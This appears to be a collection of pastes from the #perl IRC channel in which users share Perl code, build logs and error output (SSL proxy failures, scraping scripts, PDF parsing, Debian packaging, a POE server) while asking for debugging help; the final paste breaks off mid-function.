          my ($ID, $Number, $Letter, $Label, $Date, $Time, $Zone, $Status, $ShortStatus, $SmallStatus, $StatusID, $Clock, $Period, $Away, $AwayCode, $AwayUrl, $AwayScore, $Home, $HomeCode, $HomeUrl, $HomeScore) = ( /"ID"\:"(.*?)".*?Number"\:"(.*?)".*?Letter"\:"(.*?)".*?Label"\:"(.*?)".*?Date"\:"(.*?)".*?ScheduledTime"\:"(.*?)".*?Timezone"\:"(.*?)".*?Status"\:"(.*?)".*?ShortStatus"\:"(.*?)".*?SmallStatus"\:"(.*?)".*?StatusID"\:"(.*?)".*?GameClock"\:"(.*?)".*?"Period"\:"(.*?)".*?Name"\:"(.*?)".*?Code"\:"(.*?)".*?AudioUrl"\:"(.*?)".*?Score"\:"(.*?)".*?Name"\:"(.*?)".*?Code"\:"(.*?)".*?AudioUrl"\:"(.*?)".*?Score"\:"(.*?)"/gs );
    
    # Change this to have both the string to search and the game_id, this'll make things easier later.  you can also add in anything else from above if you need it.
    push @gsinfo, {game_id => $ID, search_string => "$HomeCode $AwayCode $ID ");
    }
=cut

# simulate what we got from extracting above
my @gsinfo = ({game_id => 123456, search_string => "ATL CAN 123456"});


# find all the games that matchl, and just get their game ids
my @matched_games = map {$_->{game_id}} grep {$_->{search_string} =~ /atl/i} @gsinfo;

# We'll just get  the first game
my $game = $matched_games[0];

print $game;


who: bynari
where: localhost:perlbot:#perl
paste:
#!/usr/bin/perl                                                                                                                                              


use WWW::Mechanize ;


my $mech = WWW::Mechanize->new() ;
$mech->proxy( ['http', 'https'] => 'http://104.247.218.6:3136' ) ;


$mech->get('https://api.ipify.org?format=json') ;
say $mech->content ;




########## OUTPUT



tom@laptop ~ $ perl test.pl 
Error GETing https://api.ipify.org?format=json: SSL upgrade failed: SSL connect attempt failed error:14077438:SSL routines:SSL23_GET_SERVER_HELLO:tlsv1 alert internal error at test.pl line 11.






The proxy works with FoxyProxy on firefox.


who: bynari
where: localhost:perlbot:#perl
paste:
DEBUG: .../IO/Socket/SSL.pm:2773: new ctx 28538512
DEBUG: .../IO/Socket/SSL.pm:1473: start handshake
DEBUG: .../IO/Socket/SSL.pm:654: ssl handshake not started
DEBUG: .../IO/Socket/SSL.pm:690: not using SNI because hostname is unknown
DEBUG: .../IO/Socket/SSL.pm:722: request OCSP stapling
DEBUG: .../IO/Socket/SSL.pm:743: set socket to non-blocking to enforce timeout=180
DEBUG: .../IO/Socket/SSL.pm:756: call Net::SSLeay::connect
DEBUG: .../IO/Socket/SSL.pm:759: done Net::SSLeay::connect -> -1
DEBUG: .../IO/Socket/SSL.pm:769: ssl handshake in progress
DEBUG: .../IO/Socket/SSL.pm:779: waiting for fd to become ready: SSL wants a read first
DEBUG: .../IO/Socket/SSL.pm:799: socket ready, retrying connect
DEBUG: .../IO/Socket/SSL.pm:756: call Net::SSLeay::connect
DEBUG: .../IO/Socket/SSL.pm:759: done Net::SSLeay::connect -> -1
DEBUG: .../IO/Socket/SSL.pm:762: SSL connect attempt failed

DEBUG: .../IO/Socket/SSL.pm:762: local error: SSL connect attempt failed error:14077438:SSL routines:SSL23_GET_SERVER_HELLO:tlsv1 alert internal error
DEBUG: .../IO/Socket/SSL.pm:765: fatal SSL error: SSL connect attempt failed error:14077438:SSL routines:SSL23_GET_SERVER_HELLO:tlsv1 alert internal error
DEBUG: .../IO/Socket/SSL.pm:2795: free ctx 28538512 open=28538512
DEBUG: .../IO/Socket/SSL.pm:2800: free ctx 28538512 callback
DEBUG: .../IO/Socket/SSL.pm:2807: OK free ctx 28538512
Error GETing https://api.ipify.org?format=json: SSL upgrade failed: SSL connect attempt failed error:14077438:SSL routines:SSL23_GET_SERVER_HELLO:tlsv1 alert internal error at test.pl line 12.


who: parv
where: localhost:perlbot:#perl
what: tcpxcat.al extracted from SSLeay.pm
paste:
# NOTE: Derived from blib/lib/Net/SSLeay.pm.
# Changes made here will be lost when autosplit is run again.
# See AutoSplit.pm.
package Net::SSLeay;

#line 1103 "blib/lib/Net/SSLeay.pm (autosplit into blib/lib/auto/Net/SSLeay/tcpxcat.al)"
sub tcpxcat {
    my ($usessl, $site, $port, $req, $crt_path, $key_path) = @_;
    if ($usessl) {
	return sslcat($site, $port, $req, $crt_path, $key_path);
    } else {
	return tcpcat($site, $port, $req);
    }
}

# end of Net::SSLeay::tcpxcat
1;


who: jamesaxl
where: localhost:perlbot:#perl
paste:
use HTTP:Tiny;
use HTML::TagPaser;
use HTTP::CookieJar;


my $jar_file = Path::Tiny::path("jar.txt");
$jar_file->touch;
 
my $jar = HTTP::CookieJar->new->load_cookies( $jar_file->lines );
my $http = HTTP::Tiny->new(cookie_jar => $jar, agent => "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.10 (maverick) Firefox/3.6.13");

my $response = $http->get('https://www.instagram.com/accounts/login/?force_classic_login=&next=/oauth/authorize/%3Fclient_id%3D14e8d0b528474abeb5a19000a8c42b60%26redirect_uri%3Dhttps%3A//www.google.co.uk%26response_type%3Dcode');

$jar_file->spew( join "\n", $jar->dump_cookies( {persistent => 1} ) );

my $html = HTML::TagParser->new($response->{content});
my $loginid = "";
my @list = $html->getElementsByTagName("input");

foreach my $elem (@list) {
    my $att = $elem->attributes;
    foreach my $key (sort keys %$att) {
        if($key eq "value") {
            if(length($att->{$key}) > 7) {
                $loginid = $att->{$key};
                    last;
            }  
        }
    }
}

my $data_form = {username => "xxxxx", password => "yyyyyy", csrfmiddlewaretoken  => $loginid};
$response = $http->post_form('https://www.instagram.com/accounts/login/?force_classic_login=&next=/oauth/authorize/%3Fclient_id%3D14e8d0b528474abeb5a19000a8c42b60%26redirect_uri%3Dhttps%3A//www.google.co.uk%26response_type%3Dcode', $data_form);

print $response->{content};

print "\n";


who: jamesaxl
paste:
use HTTP::Tiny;
use HTML::TagPaser;
use HTTP::CookieJar;


my $jar_file = Path::Tiny::path("jar.txt");
$jar_file->touch;
 
my $jar = HTTP::CookieJar->new->load_cookies( $jar_file->lines );
my $http = HTTP::Tiny->new(cookie_jar => $jar, agent => "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.10 (maverick) Firefox/3.6.13");

my $response = $http->get('https://www.instagram.com/accounts/login/?force_classic_login=&next=/oauth/authorize/%3Fclient_id%3D14e8d0b528474abeb5a19000a8c42b60%26redirect_uri%3Dhttps%3A//www.google.co.uk%26response_type%3Dcode');

$jar_file->spew( join "\n", $jar->dump_cookies( {persistent => 1} ) );

my $html = HTML::TagParser->new($response->{content});
my $loginid = "";
my @list = $html->getElementsByTagName("input");

foreach my $elem (@list) {
    my $att = $elem->attributes;
    foreach my $key (sort keys %$att) {
        if($key eq "value") {
            if(length($att->{$key}) > 7) {
                $loginid = $att->{$key};
                    last;
            }  
        }
    }
}

my $data_form = {username => "xxxxx", password => "yyyyyy", csrfmiddlewaretoken  => $loginid};
$response = $http->post_form('https://www.instagram.com/accounts/login/?force_classic_login=&next=/oauth/authorize/%3Fclient_id%3D14e8d0b528474abeb5a19000a8c42b60%26redirect_uri%3Dhttps%3A//www.google.co.uk%26response_type%3Dcode', $data_form);

print $response->{content};

print "\n";


who: bhelit
paste:
# Example output of scraped pdf
# http://pastebin.com/raw/mxqikZJZ
use strict; use warnings;
open(my $fh, "<", 'tmp2.txt');
my @line = readline $fh; chomp @line; close $fh;
my @method; my @name; my @date_of_service; my @payment;
my $count = 0; my $i = 0;
while($i < $#line) {
    if (($line[$i] =~ /^Payment \- /) and ($line[$i] !~ /Total:$/)) {
        do {
            $method[$count] = $line[$i];
            $method[$count] =~ s/Payment \- //;
            $i++;
            $name[$count] = $line[$i];
            $i++;
            $date_of_service[$count] = $line[$i];
            $i++; $i++; 
            $payment[$count] = $line[$i];
            $count++; $i++; # i need the ++ here
        } until ($line[$i] =~ / Total:$/); # is this including or excluding
    }
    $i++; # i also need the ++ here
}
my $n = 0;
while ($n < $count) {
    print "$method[$n]  :  $name[$n]  :  $date_of_service[$n]  :  $payment[$n]\n";
    $n++;
}


where: localhost:perlbot:#perl
what: something to get your started
paste:
use strict; 
use warnings;

# TODO check for errors..
open(my $fh, "<", 'tmp2.txt');
my @lines = <$fh>; 
chomp @lines; 
close $fh;

my %state_map = { 
    method => 'name',
    name => 'date_of_service',
    date_of_server => 'payment',
    payment => undef # end state
};
my @data;
my $state = 'method';
my $entry = {};
foreach my $line (@lines) {
    next if !($line =~ /^Payment \- / && $line !~ /Total:$/);
    $entry->{$state} = $line;
    $state = $state_map{$state};
    if (!$state || $line =~ / Total:$/) {
        push(@data, $entry);
        $entry = {};
    }
}


# print data
foreach my $e (@data) {
    print "$e->{method} : $e->{name} : $e->{date_of_service} : $e->{payment}\n";
}


who: bhelit
where: localhost:perlbot:#perl
what: dead im trying to get it ":|
paste:
# my butchered attempt to dumb down the original 
use strict; use warnings; 
open(my $fh, "<", 'tmp2.txt');
my @lines = readline $fh; chomp @lines; close $fh;
my %state_map = (
    method => '',
    name => '',
    date_of_service => '',
    payment => '',
);
my @data; my $i; my %batch; #hashofhash needs to be set up
while($i < $#lines) {
    next if !($i =~ /^Payment \- / && $i !~ /Total:$/);
    $state_map{method} = $i; $i++;
    $state_map{name} = $i; $i++;
    $state_map{date_of_service} = $i; $i++;
    $i++; # skip unused type for now
    $i++; # skip charge amt for now
    $state_map{payment} = $i;
    my $method_hash = \%state_map;
    $batch{$method} = $method_hash; # hash of hashes
}
############# ORIGINAL IDEA ###########################
use strict; use warnings;
# TODO check for errors..
open(my $fh, "<", 'tmp2.txt');
my @lines = <$fh>; 
chomp @lines; close $fh;
my %state_map = { # this way is so strange to my eyes
    method => 'name',
    name => 'date_of_service',
    date_of_server => 'payment',
    payment => undef # end state
};
my @data;
my $state = 'method';
my $entry = {};
foreach my $line (@lines) {
    next if !($line =~ /^Payment \- / && $line !~ /Total:$/);
    $entry->{$state} = $line;
    $state = $state_map{$state};
    if (!$state || $line =~ / Total:$/) {
        push(@data, $entry);
        $entry = {};
    }
    # Only $state_map{method} is populated correct?
    # Still left to be designed is to populate %state{[name|date_of_service|payment]}
}
foreach my $e (@data) {
    print "$e->{method} : $e->{name} : $e->{date_of_service} : $e->{payment}\n";
}


who: sysvalve
where: localhost:perlbot:#perl
what: Debian packaging carton dependencies att
paste:
dh binary
   dh_testroot
   dh_prep
        rm -f debian/my-software.substvars
        rm -f debian/my-software.*.debhelper
        rm -rf debian/my-software/
   dh_auto_install
        install -d debian/my-software
        make -j1 install DESTDIR=/data/git/my-software/debian/my-software AM_UPDATE_INFO_DIR=no
make[1]: Entering directory '/data/git/my-software'
echo DESTDIR: /data/git/my-software/debian/my-software
DESTDIR: /data/git/my-software/debian/my-software
echo INSTALLDIR: /data/git/my-software/debian/my-software/opt/my-software
INSTALLDIR: /data/git/my-software/debian/my-software/opt/my-software
carton install --deployment
Installing modules using /data/git/my-software/cpanfile (deployment mode)
Successfully installed JSON-2.90
Successfully installed Date-Manip-6.57
! Installing the dependencies failed: Module 'JSON' is not installed, Module 'Date::Manip::Date' is not installed
! Bailing out the installation for /data/git/my-software/.
2 distributions installed
Installing modules failed
Makefile:15: recipe for target 'install' failed
make[1]: *** [install] Error 2
make[1]: Leaving directory '/data/git/my-software'
dh_auto_install: make -j1 install DESTDIR=/data/git/my-software/debian/my-software AM_UPDATE_INFO_DIR=no returned exit code 2
debian/rules:18: recipe for target 'binary' failed
make: *** [binary] Error 2
dpkg-buildpackage: error: fakeroot debian/rules binary gave error exit status 2


where: localhost:perlbot:#perl
paste:
INSTALLDIR = $(DESTDIR)/opt/$(PACKAGE)

install: cpanfile cpanfile.snapshot
        echo DESTDIR: $(DESTDIR)
        echo INSTALLDIR: $(INSTALLDIR)
        carton install --deployment
        install -d $(INSTALLDIR)/bin
        install -d $(INSTALLDIR)/etc
        install -m 755 -o root -g root bin/* $(INSTALLDIR)/bin
        install -m 644 -o root -g root etc/* $(INSTALLDIR)/etc
        test -d local && cp -r local $(INSTALLDIR)/
        test -d lib && cp -r lib $(INSTALLDIR)/



who: sysvalve
what: DESTDIR contents
paste:
find debian/
debian/
debian/rules
debian/changelog
debian/compat
debian/my-software.debhelper.log
debian/copyright
debian/source
debian/source/format
debian/debhelper-build-stamp
debian/control
debian/my-software.cron.d
debian/my-software
debian/my-software/data
debian/my-software/data/git
debian/my-software/data/git/my-software
debian/my-software/data/git/my-software/local
debian/my-software/data/git/my-software/local/lib
debian/my-software/data/git/my-software/local/lib/perl5
debian/my-software/data/git/my-software/local/lib/perl5/JSON.pm
debian/my-software/data/git/my-software/local/lib/perl5/Date
debian/my-software/data/git/my-software/local/lib/perl5/Date/Manip.pod
debian/my-software/data/git/my-software/local/lib/perl5/Date/Manip
debian/my-software/data/git/my-software/local/lib/perl5/Date/Manip/DM5.pm
debian/my-software/data/git/my-software/local/lib/perl5/Date/Manip/TZ.pod
debian/my-software/data/git/my-software/local/lib/perl5/Date/Manip/DM5abbrevs.pm
debian/my-software/data/git/my-software/local/lib/perl5/Date/Manip/ConfigFile.pod
debian/my-software/data/git/my-software/local/lib/perl5/Date/Manip/Config.pod
debian/my-software/data/git/my-software/local/lib/perl5/Date/Manip/TZdata.pod
debian/my-software/data/git/my-software/local/lib/perl5/Date/Manip/Delta.pm
debian/my-software/data/git/my-software/local/lib/perl5/Date/Manip/Base.pm
debian/my-software/data/git/my-software/local/lib/perl5/Date/Manip/Base.pod


where: localhost:perlbot:#perl
paste:
# Current list of dependencies
# Well, Mojolicious in its entirety
use Mojo::Base 'Mojolicious::Controller';
use Mojo::Pg;
use IO::Socket::SSL;
use Crypt::Eksblowfish::Bcrypt qw(bcrypt);
use VMware::vCloud;


where: localhost:perlbot:#perl
what: opan cpanm --autopin --installdeps .
paste:
$ cat ../.cpanm/work/1485554251.12713/build.log 
cpanm (App::cpanminus) 1.7014 on perl 5.020002 built for x86_64-linux-gnu-thread-multi
Work directory is /home/zcrownover/.cpanm/work/1485554251.12713
You have make /usr/bin/make
You have LWP 6.08
You have /bin/tar: tar (GNU tar) 1.27.1
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Written by John Gilmore and Jay Fenlason.
You have /usr/bin/unzip
Checking if you have ExtUtils::MakeMaker 6.58 ... Yes (7.24)
Checking if you have ExtUtils::Install 1.46 ... Yes (1.67)
--> Working on .
Entering /home/zcrownover/provisioner-hg2
Configuring /home/zcrownover/provisioner-hg2
-> N/A
! Configuring . failed. See /home/zcrownover/.cpanm/work/1485554251.12713/build.log for details.


where: localhost:perlbot:#perl
paste:
Jan 28 07:05:34  sendEmail[441]: ERROR => No TLS support!  SendEmail can't load required libraries. (try installing Net::SSLeay and IO::Socket::SSL)

root@raspberrypi:/usr/lib/perl5# find . -type f -name "SSL*"
./vendor_perl/5.22.0/Net/SSLeay.pm
./vendor_perl/5.22.0/Net/SSLeay.pod
./vendor_perl/5.22.0/Net/SSLeay
./vendor_perl/5.22.0/auto/Net/SSLeay
./vendor_perl/5.22.0/auto/Net/SSLeay/SSLeay.so
./5.22.0/Net/SSLeay.pm
./5.22.0/Net/SSLeay.pod
./5.22.0/Net/SSLeay
./5.22.0/auto/Net/SSLeay
./5.22.0/auto/Net/SSLeay/SSLeay.so
root@raspberrypi:/usr/lib/perl5# find . -type f -name "Socket*"
./5.22.0/Socket.pm
./5.22.0/IO/Socket.pm
./5.22.0/IO/Socket
./5.22.0/auto/Socket
./5.22.0/auto/Socket/Socket.so


who: parv
where: localhost:perlbot-magnet:#perl
what: ldd output on FreeBSD
paste:
# find /usr/local/lib/perl5/ -name 'SSL*so' | xargs ldd
/usr/local/lib/perl5/site_perl/mach/5.24/auto/Net/SSLeay/SSLeay.so:
  libperl.so.5.24 => /usr/local/lib/perl5/5.24/mach/CORE/libperl.so.5.24 (0x801273000)
  libssl.so.8 => /usr/lib/libssl.so.8 (0x801669000)
  libcrypto.so.8 => /lib/libcrypto.so.8 (0x801a00000)
  libz.so.6 => /lib/libz.so.6 (0x801e6a000)
  libc.so.7 => /lib/libc.so.7 (0x800823000)
  libthr.so.3 => /lib/libthr.so.3 (0x802081000)
  libm.so.5 => /lib/libm.so.5 (0x8022a8000)
  libcrypt.so.5 => /lib/libcrypt.so.5 (0x8024d2000)
  libutil.so.9 => /lib/libutil.so.9 (0x8026f1000)


where: localhost:perlbot:#perl
paste:
root@raspberrypi:/usr/lib# find . -type f -name "SSL*so" | xargs ldd
	libssl.so.1.0.0 => /usr/lib/libssl.so.1.0.0 (0xb6ed5000)
	libcrypto.so.1.0.0 => /lib/libcrypto.so.1.0.0 (0xb6d61000)
	libc.so.6 => /lib/libc.so.6 (0xb6c24000)
	libdl.so.2 => /lib/libdl.so.2 (0xb6c11000)
	/lib/ld-linux-armhf.so.3 (0x7f5c0000)


where: localhost:perlbot:#perl
what: genio
paste:
    my %mech_parms = (
        autocheck   => ($class eq 'WWW::Mechanize' ? 1 : 0),
        onwarn      => \&WWW::Mechanize::_warn,
        onerror     => \&WWW::Mechanize::_die,
        quiet       => 0,
        stack_depth => 8675309,     # Arbitrarily humongous stack
        headers     => {},
        noproxy     => 0,
    );

    my %passed_parms = @_;


who: buttersticks
where: localhost:perlbot:#perl
paste:
#!/usr/bin/perl
use strict; use warnings;
use LWP;
use LWP::UserAgent;
use WWW::Mechanize;
STDOUT->autoflush(1);
my @payload;
my $base = 'data-super-full-img="';
my $category = 'digitalart';
my $i_batch = 0; my $tmp = 'tmp';
my $ua = uagent();
my $mech = WWW::Mechanize->new($ua);
for my $i (0 .. 39_999) {
        if ($i > 23 and $i % 25 == 0)
                { $i_batch =~ $i_batch + 25; } # print "$i_batch\n"; }  
        my $i_base = 'http://www.deviantart.com/browse/all/'."$category".'/?offset='."$i_batch";
        if (eval {$mech->get($i_base)}) {
                $mech->save_content($tmp);
                open(my $iterfh, '<', $tmp);
                my @tmp = readline $iterfh; chomp @tmp; close $iterfh; unlink $tmp;
                foreach (@tmp) {
                        if (/$base/) {
                                my $value = s/.*$base//; $value =~ s/".*//;
                                push @payload, $value;
                        }
                }
        }
}
foreach (@payload)
        { print "$_\n"; }

sub uagent{
        my $s_ua = LWP::UserAgent->new(
                agent => "Mozilla/50.0.2",
                from => 'punxnotdead@wikiark.org',
                timeout => 45,
        );
        return $s_ua;
}
~               


who: buttersticks
where: localhost:perlbot:#perl
what: if anyone is bored, puzzel of scraping
paste:
#!/usr/bin/perl
use strict; use warnings;
use WWW::Mechanize;
STDOUT->autoflush(1);
my @payload;
my $base = 'data-super-full-img="';
my $category = 'digitalart';
my $i_batch = 0; my $tmp = 'tmp';
my $mech = WWW::Mechanize->new( from => 'wikiark.org', timeout => 45 );
my $i_base = 'http://www.deviantart.com/browse/all/'.$category.'/?offset='.$i_batch;
print "$i_base\n";
if (eval {$mech->get($i_base)})
        { $mech->save_content($tmp); }
else { die "fixme"; }
open(my $iterfh, '<', $tmp);
my @tmp = readline $iterfh; chomp @tmp; close $iterfh; unlink $tmp;
foreach (@tmp) {
        if (/$base/) {
                my $value = $_ =~ s/.*$base//; 
                $value =~ s/\".*//; # broken
                # should remove everything after '"' but doesn't
                push @payload, $_;
        }
}
foreach (@payload)
                { print "$_\n"; }

# it still prints everything after ln 20 '"';
# http://img07.deviantart.net/f88c/i/2017/028/6/2/winter_pacifying_by_ivannadark-dawzr8i.jpg" data-super-full


paste:
create or replace function after_updating_quotation_prices() returns trigger as
$$
DECLARE
        i               INTEGER;
        percentage      NUMERIC;
BEGIN
RAISE NOTICE 'after_updating_quotation_prices: OLD."Price inc Taxes"(%) NEW."Price inc Taxes"(%)', OLD."Price inc Taxes", NEW."Price inc Taxes";
        IF OLD."Price inc Taxes" != NEW."Price inc Taxes" THEN
                SELECT INTO percentage get_quotation_item_percentage(NEW."Quotation", NEW."Type", NEW."Price inc Taxes");
                IF percentage <> 1 THEN
RAISE NOTICE 'after_updating_quotation_prices: ID(%), percentage(%)', NEW."ID", percentage;
                        SET CONSTRAINTS ALL DEFERRED;
                        SELECT INTO i "Quotation Labour"."ID" FROM "Quotation Labour" LEFT JOIN "Quotation Labour Prices" ON "Quotation Labour"."ID" = "Quotation Labour Prices"."Quotation Labour" WHERE "Type" = NEW."Type" AND "Quotation" = NEW."Quotation";
                        UPDATE "Quotation Labour Prices" SET "Total Price inc Taxes" = "Quotation Labour Prices"."Total Price inc Taxes" * percentage WHERE "Quotation Labour" = i AND "Quotation Labour Prices"."Total Price inc Taxes" != "Quotation Labour Prices"."Total Price inc Taxes" * percentage;
                        SELECT INTO i "Quotation Items"."ID" FROM "Quotation Items" LEFT JOIN "Quotation Item Prices" ON "Quotation Items"."ID" = "Quotation Item Prices"."Quotation Item" WHERE "Type" = NEW."Type" AND "Quotation" = NEW."Quotation";
                        UPDATE "Quotation Item Prices" SET "Total Price inc Taxes" = "Quotation Item Prices"."Total Price inc Taxes" * percentage WHERE "Quotation Item" = i AND "Quotation Item Prices"."Total Price inc Taxes" != "Quotation Item Prices"."Total Price inc Taxes" * percentage;
                        SET CONSTRAINTS ALL IMMEDIATE;
                END IF;
        END IF;
        RETURN NULL;
END;
$$ LANGUAGE 'plpgsql';

create constraint trigger t_after_updating_quotation_prices AFTER UPDATE ON "Quotation Prices" DEFERRABLE INITIALLY IMMEDIATE FOR EACH ROW EXECUTE PROCEDURE "after_updating_quotation_prices"();


who: pzn
where: localhost:perlbot:#perl
what: which is the right way to forget a var?
paste:
# there is an SQL query from DBI.pm at $sth

# the code is simplified for posting purposes

while (@row = $sth->fetchrow_array) {
    if ($row[0] eq 'resync') {
        # next line is my question, it this the right way to forget the full variable with all its hashes and array subelements?
        undef %accumulator;
    }
    if ($row[0] eq 'collect') {
        $accumulator{$row[1]}[$row[2]][$row[3]] = 1 unless defined $accumulator{$row[1]}[$row[2]][$row[3]];
        $accumulator{$row[1]}[$row[2]][$row[3]] *= $row[6];
    }
}


who: bhelit
what: can't next outside a loop block ln.7
paste:
use strict; use warnings;
open(my $fh, "<", 'tmp2.txt');
my @line = readline $fh; chomp @line; close $fh;
my @method; my @name; my @date_of_service; my @code; my @charge; my @payment; my @writeoff;
my $i = 0; my $count = 0;
while($i < $#line) {
    next if !($line[$i] =~ /^Payment \- / && $line[$i] !~ /Total:$/);
    do {
        $method[$count] = $line[$i];
        $name[$count] = $line[++$i];
        $date_of_service[$count] = $line[++$i];
        $code[$count] = $line[++$i];
        $charge[$count] = $line[++$i];
        $payment[$count] = $line[++$i];
        $writeoff[$count] = $line[++$i];
        $i++; $count++;
    } until ($line[$i] =~ /Total:$/);
}


who: bhelit
where: localhost:perlbot:#perl
what: updated code bb in 10 mins
paste:
# example data http://pastebin.com/raw/mxqikZJZ
use strict; use warnings;
open(my $fh, "<", 'tmp4.txt');
my @line = readline $fh; chomp @line; close $fh;
my @method; my @name; my @date_of_service; my @code; my @charge; my @payment; my @writeoff;
my $i = 0; my $count = 0; my $ttl = 1;
foreach (@line)
    { $ttl++; } # get @line count + 1
while($i < $ttl) {
    $i++; # avoid infinite loop
    next if !($line[$i] =~ /^Payment \- / && $line[$i] !~ /Total:$/);
    do {
        $method[$count] = $line[$i];
        $name[$count] = $line[++$i];
        $date_of_service[$count] = $line[++$i];
        $code[$count] = $line[++$i];
        $charge[$count] = $line[++$i];
        $payment[$count] = $line[++$i];
        $writeoff[$count] = $line[++$i];
        $count++;
    } until ($line[$i] =~ /Total:$/);
}


who: daemon
what: View line 174 and 150
paste:
#!/usr/bin/env perl

use warnings;
use strict; 

use Data::Dumper;
use Digest::SHA qw(sha256_hex);
use Getopt::Long;

use POE qw( Wheel::Run Filter::Reference Wheel::ReadWrite Wheel::SocketFactory Filter::Stream Filter::Line );

# Grab required options
my $options = { host=>"", port=>0 };

# Remeber our options
GetOptions ($options, 'host=s', 'port=i');

# Die if we are not given a host and port
if (!$options->{port} || $options->{port} !~ m#^\d+$# || $options->{port} < 1 || $options->{port} > 65535 || !$options->{host} ) {
	print "Need a valid --host and --port\n";
	exit 1;
}

print "Clients can connect on ".$options->{host}.":".$options->{port}."\n";

POE::Session->create(
	inline_states => {
		_start					=>	\&server_start,
		_stop					=>	\&server_stop,
		server_bind_success		=>	\&server_bind_success,
		server_bind_failure		=>	\&server_bind_failure,
		server_input_error		=>	\&server_input_error,
		server_input_void		=>	\&server_input_void,
		server_announce			=>	\&server_announce,
		upstream_start			=>	\&upstream_start,
		upstream_loop			=>	\&upstream_loop,
		upstream_stdout			=>	\&upstream_stdout,
		upstream_stderr			=>	\&upstream_stderr,
		upstream_close			=>	\&upstream_close,
		upstream_signal			=>	\&upstream_signal,
	}
);

# Run until there are no more tasks.
$poe_kernel->run();
exit 0;

sub server_start {
	my ($kernel, $heap) = @_[KERNEL, HEAP];

	print "Create a storage area for our streams\n";
	$heap->{iobuffer} = {};

	print "Creating listener socket\n";
	$heap->{server}->{listener} = POE::Wheel::SocketFactory->new(
		BindAddress  => $options->{host},         	# bind to this address
		BindPort     => $options->{port},       	# and bind to this port
		Reuse        => 'yes',               		# reuse immediately
		SuccessEvent => 'server_bind_success',   	# generate this event on connection
		FailureEvent => 'server_bind_failure',    	# generate this event on error
	);

	$kernel->yield('upstream_loop');
}

sub server_stop {}

sub server_bind_success {
	my ($heap, $socket, $peer_addr, $peer_port) = @_[HEAP, ARG0, ARG1, ARG2];

	print "Server bind success from: $peer_addr\n";

	my $wheel = POE::Wheel::ReadWrite->new(
		Handle     => $socket,
		Driver     => POE::Driver::SysRW->new,
		Filter     => POE::Filter::Line->new(),
		InputEvent => 'server_input_void',
		ErrorEvent => 'server_input_error',
	);
	
	$heap->{server}->{wheel}->{$wheel->ID} = $wheel;
}

sub server_bind_failure {
  my ($heap, $operation, $errnum, $errstr) = @_[HEAP, ARG0, ARG1, ARG2];

  print("! Failed to bind a local socket for proxy traversal, this should not happen; exiting\n");

  die;
}

sub server_input_error {
	warn "server_input_error";
}

sub server_input_void {
	warn "server_input_void";
}

sub server_announce{
	my ($kernel,$heap,$json) = @_[KERNEL,HEAP,ARG0];
	
	foreach my $id ( keys %{ $heap->{server}->{wheel} } ) {
		$heap->{server}->{wheel}->{$id}->put($json);
	}
}
sub upstream_start {
	my ($kernel,$heap) = @_[KERNEL,HEAP];
	
	my $task = POE::Wheel::Run->new(
		Program      => [ "node", "app.js" ],
		StdoutFilter => POE::Filter::Line->new(),
		StdoutEvent  => "upstream_stdout",
		StderrEvent  => "upstream_stderr",
		CloseEvent   => "upstream_close",
    );

	$kernel->sig_child($task->PID, "upstream_signal");

	my ($id,$pid) = ($task->ID,$task->PID);

	$heap->{tasks}->{$id} = {
		pid		=>	$pid,
		obj		=>	$task,
		lrecv	=>	time
	};

	$heap->{pid2id}->{$pid} = $id;

}
sub upstream_loop {
	my ($kernel,$heap) = @_[KERNEL,HEAP];
	
	my $count = 0;
	
	foreach my $dpkt (keys %{ $heap->{tasks} } ) {
		$count++;

		my $idle = (time - $heap->{tasks}->{$dpkt}->{lrecv});

		if ($idle > 30) { 
			print "IDLE($dpkt): Timeout after $idle seconds\n";
			$kernel->yield('upstream_close',$dpkt);
		}
	}
	
	foreach my $key (keys %{ $heap->{iobuffer} }) {
		my $age = (time - $heap->{iobuffer}->{$key});
		if ( $age >= 20 ) { 
			delete $heap->{iobuffer}->{$key};
		}
	}
	
	if (!$count || $count < 3) {
		$kernel->yield('upstream_start');
	}

	$kernel->delay_add('upstream_loop' => 1);
}
sub upstream_stdout {
	my ($kernel,$heap,$data,$id) = @_[KERNEL,HEAP,ARG0,ARG1];
	
	chomp($data);
	my $pid = $heap->{tasks}->{$id}->{pid};
	
	#print "STDOUT($pid): $data\n";
	
	return if (!$data);
	if ($data =~ m#^\{#) {
		my $key = sha256_hex($data);
		
		if (! $heap->{iobuffer}->{$key} ) {
			$kernel->yield('server_announce',$data);
			$heap->{iobuffer}->{$key} = time;
		}
		
		$heap->{tasks}->{$id}->{lrecv} = time;
	}
}
sub upstream_stderr {
	my ($heap,$data,$id) = @_[HEAP,ARG0,ARG1];
	
	chomp($data);
	my $pid = $heap->{tasks}->{$id}->{pid};
	
	print "STDERR($pid): $data\n";
}
sub upstream_close {
	my ($heap,$id) = @_[HEAP,ARG0];
	
	my $pid = $heap->{tasks}->{$id}->{pid};
	print "CLOSE($pid): Close\n";
	
	delete $heap->{tasks}->{$id};
	delete $heap->{pid2id}->{$pid};
}
sub upstream_signal {
	my ($heap,$pid,$status) = @_[HEAP,ARG1,ARG2];
	my $id = $heap->{pid2id}->{$pid};
	
	print "Signal($pid): $status\n";
	
	if ($status != 1792) {
		delete $heap->{tasks}->{$id};
		delete $heap->{pid2id}->{$pid};
	}
}


who: wedgie
where: localhost:perlbot:#perl
paste:
$ cat war_and_peace.txt 
She is betraying us!! !Russia alone must sa!ve Europe.
Our gracious! sovereign recognizes his high vocation
and will be true to it!.! That is the one !!thing I have
faith in! Our good and wonderful sovereign has to
perform the noblest role on earth, and he! is so virtuous
and noble that God will! not forsake him. He !will fulfill
his vocation and crush the hydra of revolution, which
has become more terrible than ever in the person of this
murderer and villain!!!!!!


$ perl -pe 's/!(?! [A-Z])//gr' war_and_peace.txt
She is betraying us!! !Russia alone must sa!ve Europe.
Our gracious! sovereign recognizes his high vocation
and will be true to it!.! That is the one !!thing I have
faith in! Our good and wonderful sovereign has to
perform the noblest role on earth, and he! is so virtuous
and noble that God will! not forsake him. He !will fulfill
his vocation and crush the hydra of revolution, which
has become more terrible than ever in the person of this
murderer and villain!!!!!!


who: riceandbeans
where: localhost:perlbot:#perl
paste:
use SOAP::Lite +trace => [ transport => \&log_message ];

sub log_message {
    my ($in) = @_;
